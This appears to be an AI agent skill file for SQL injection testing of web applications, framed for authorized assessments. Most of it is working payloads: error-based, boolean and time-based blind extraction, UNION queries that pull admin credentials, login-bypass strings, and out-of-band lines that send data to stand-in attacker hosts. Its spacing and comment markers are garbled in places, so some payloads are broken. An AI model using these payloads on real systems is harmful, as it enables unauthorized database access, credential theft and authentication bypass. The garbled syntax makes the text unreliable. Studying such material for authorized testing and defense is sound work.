AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.
SQL Injection Testing
Purpose
Execute comprehensive SQL injection vulnerability assessments on web applications to identify database security flaws, demonstrate exploitation techniques, and validate input sanitization mechanisms. This skill enables systematic detection and exploitation of SQL injection vulnerabilities across in-band, blind, and out-of-band attack vectors to assess application security posture.
Inputs / Prerequisites
Required Access
Target web application URL with injectable parameters
Burp Suite or equivalent proxy tool for request manipulation
SQLMap installation for automated exploitation
Browser with developer tools enabled
Technical Requirements
Understanding of SQL query syntax (MySQL, MSSQL, PostgreSQL, Oracle)
Knowledge of HTTP request/response cycle
Familiarity with database schemas and structures
Write permissions for testing reports
Legal Prerequisites
Written authorization for penetration testing
Defined scope including target URLs and parameters
Emergency contact procedures established
Data handling agreements in place
Outputs / Deliverables
Primary Outputs
SQL injection vulnerability report with severity ratings
-- MSSQL version extraction1' AND 1=CONVERT(int,(SELECT @@version))--
-- MySQL extraction via XPATH
1'AND extractvalue(1,concat(0x7e,(SELECT @@version)))---- PostgreSQL cast errors1' AND 1=CAST((SELECT version()) AS int)--
Blind Boolean-Based Extraction
Infer data through application behavior changes:
-- Character extraction1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
1'AND (SELECTSUBSTRING(username,1,1) FROM users LIMIT 1)='b'---- Conditional responses1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--
Time-Based Blind Extraction
Use database sleep functions for confirmation:
-- MySQL1' AND IF(1=1,SLEEP(5),0)--
1'AND IF((SELECTSUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)---- MSSQL1'; WAITFOR DELAY '0:0:5'--
-- PostgreSQL
1'; SELECT pg_sleep(5)--
Out-of-Band (OOB) Extraction
Exfiltrate data through external channels:
-- MSSQL DNS exfiltration1; EXEC master..xp_dirtree '\\attacker-server.com\share'---- MySQL DNS exfiltration1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))--
-- Oracle HTTP request
1'UNIONSELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECTuserFROM dual)) FROM dual--
Phase 3: Authentication Bypass
Login Form Exploitation
Craft payloads to bypass credential verification:
-- Classic bypass
admin'--
admin'/*
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
') OR ('1'='1
') OR ('1'='1'--
-- Username enumeration
admin' AND '1'='1
admin' AND '1'='2
Query transformation example:
-- Original querySELECT*FROM users WHERE username='input'AND password='input'-- Injected (username: admin'--)SELECT*FROM users WHERE username='admin'--' AND password='anything'-- Password check bypassed via comment
-- MySQL/MSSQL table enumerationSELECT table_name FROM information_schema.tables WHERE table_schema=database()
-- Column enumerationSELECT column_name FROM information_schema.columns WHERE table_name='users'-- Oracle equivalentSELECT table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
Common Payloads Quick List
Purpose
Payload
Basic test
' or "
Boolean true
OR 1=1--
Boolean false
AND 1=2--
Comment (MySQL)
# or --
Comment (MSSQL)
--
UNION probe
UNION SELECT NULL--
Time delay
AND SLEEP(5)--
Auth bypass
' OR '1'='1
Constraints and Guardrails
Operational Boundaries
Never execute destructive queries (DROP, DELETE, TRUNCATE) without explicit authorization
Limit data extraction to proof-of-concept quantities
Avoid denial-of-service through resource-intensive queries
Stop immediately upon detecting production database with real user data
Technical Limitations
WAF/IPS may block common payloads requiring evasion techniques
Parameterized queries prevent standard injection
Some blind injection requires extensive requests (rate limiting concerns)
Second-order injection requires understanding of data flow
Legal and Ethical Requirements
Written scope agreement must exist before testing
Document all extracted data and handle per data protection requirements
Report critical vulnerabilities immediately through agreed channels
Never access data beyond scope requirements
Examples
Example 1: E-commerce Product Page SQLi
Scenario: Testing product display page with ID parameter
Initial Request:
GET /product.php?id=5 HTTP/1.1
Detection Test:
GET /product.php?id=5' HTTP/1.1
Response: MySQL error - syntax error near '''
Column Enumeration:
GET /product.php?id=5 ORDER BY 4-- HTTP/1.1
Response: Normal
GET /product.php?id=5 ORDER BY 5-- HTTP/1.1
Response: Error (4 columns confirmed)
Data Extraction:
GET /product.php?id=-5 UNION SELECT 1,username,password,4 FROM admin_users-- HTTP/1.1
Response: Displays admin credentials
Example 2: Blind Time-Based Extraction
Scenario: No visible output, testing for blind injection
Confirm Vulnerability:
id=5' AND SLEEP(5)--
-- Response delayed by 5 seconds (vulnerable confirmed)
Extract Database Name Length:
id=5' AND IF(LENGTH(database())=8,SLEEP(5),0)--
-- Delay confirms database name is 8 characters
Extract Characters:
id=5' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
-- Iterate through characters to extract: 'appstore'
Example 3: Login Bypass
Target: Admin login form
Standard Login Query:
SELECT*FROM users WHERE username='[input]'AND password='[input]'
Injection Payload:
Username: administrator'--
Password: anything
Resulting Query:
SELECT*FROM users WHERE username='administrator'--' AND password='anything'
Result: Password check bypassed, authenticated as administrator.
Troubleshooting
No Error Messages Displayed
Application uses generic error handling
Switch to blind injection techniques (boolean or time-based)
Monitor response length differences instead of content
UNION Injection Fails
Column count may be incorrect → Test with ORDER BY
Data types may mismatch → Use NULL for all columns first
Results may not display → Find injectable column positions
